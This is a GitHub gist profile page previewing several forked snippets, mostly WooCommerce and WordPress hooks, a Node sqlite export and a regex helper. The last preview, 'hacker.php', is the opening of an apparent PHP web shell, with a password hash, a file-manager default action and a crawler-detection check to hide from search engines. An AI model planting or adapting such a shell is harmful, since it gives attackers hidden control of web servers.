Skip to content

Instantly share code, notes, and snippets.

View rcstr's full-sized avatar
:shipit:
Engineering

Rommel Castro rcstr

:shipit:
Engineering
View GitHub Profile
@rcstr
rcstr / functions.php
Last active September 20, 2021 20:19 — forked from jessepearson/functions.php
This is a filter to disable Multi-Currency in WooCommerce Payments. (gives higher priority 💯 to function)
<?php // Do not copy this line.
// This is a filter to disable Multi-Currency in WooCommerce Payments.
add_filter(
'pre_option__wcpay_feature_customer_multi_currency',
function ( $pre_option, $option, $default ) {
return '0';
},
100,
3
@rcstr
rcstr / examenparcial2.cpp
Last active November 19, 2019 04:41 — forked from emShadow/examenparcial2.cpp
Examen parcial 2
#include<stdio.h>
main(){
string partidos[] = {
"01 Jan",
"07 Jan",
"14 Jun",
"01 Feb",
"07 Feb",
"14 Feb",
@rcstr
rcstr / wc-auto-add-product-to-cart.php
Last active October 15, 2018 02:20 — forked from woogists/wc-auto-add-product-to-cart.php
Automatically add product to cart on visit, if user is not subscribed.
<?php
/**
* Automatically add product to cart on visit
*/
add_action( 'template_redirect', 'add_product_to_cart' );
function add_product_to_cart() {
if ( ! is_admin() ) {
$product_id = 226; //replace with your own product id
$found = false;
@rcstr
rcstr / functions.php
Last active August 2, 2018 13:37 — forked from danielbitzer/functions.php
[AutomateWoo] Update a queued workflow run date programatically
<?php
// create date object
$date = new DateTime( '2018-07-23 06:12:04' );
// get the queued event by ID
$event = \AutomateWoo\Queued_Event_Factory::get( $event_id );
$event->set_date_due( $date );
$event->save();
@rcstr
rcstr / wp.4.7-ES.haiku.build.min.js.md
Last active November 21, 2016 17:18 — forked from ramiabraham/wp.4.7.haiku.build.min.js.md
WordPress 4.7 ES haiku
五 🍂🍂🍁

七 🍂🍂🍂🍁

五 🍂🍂🍁


@rcstr
rcstr / gist:cba95996308c837bebe75c01293d08e0
Last active January 28, 2019 05:14 — forked from GaryJones/gist:8430080
References for Why Not to Use Singleton Design Pattern
var sqlite3 = require('sqlite3').verbose();
var db = new sqlite3.Database('./db.db');
var fs = require('fs');
var outputFilename = './output.json';
var jsonOutput = db.serialize(function() {
db.each("SELECT * FROM sqlite_master WHERE type='table'", function(err, table) {
db.each("SELECT * FROM " + table.tbl_name, function(err, row) {
// Visualize at:
// http://www.regexplained.co.uk/?pattern=%2F%5E(%3F%3A(%3F%3A0%5BxX%5D%5B0-9a-fA-F%5D%2B)%7C(%3F%3A0%5BoO%5D%5B0-7%5D%2B)%7C(%3F%3A0%5BbB%5D%5B01%5D%2B)%7C(%3F%3A%5Cd%2B%5C.%5Cd*(%3F%3A%5BeE%5D%5B%2B-%5D%3F%5Cd%2B)%3F)%7C(%3F%3A%5C.%5Cd%2B(%3F%3A%5BeE%5D%5B%2B-%5D%3F%5Cd%2B)%3F)%7C(%3F%3A%5Cd%2B(%3F%3A%5BeE%5D%5B%2B-%5D%3F%5Cd%2B)%3F))%24%2F
function isNumberLiteral(txt) {
var re = /^(?:(?:0[xX][0-9a-fA-F]+)|(?:0[oO][0-7]+)|(?:0[bB][01]+)|(?:\d+\.\d*(?:[eE][+-]?\d+)?)|(?:\.\d+(?:[eE][+-]?\d+)?)|(?:\d+(?:[eE][+-]?\d+)?))$/;
return re.test(txt);
}
isNumberLiteral("42"); // true
isNumberLiteral("-42"); // false
@rcstr
rcstr / hacker.php
Last active December 17, 2015 09:59 — forked from anonymous/hacker
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {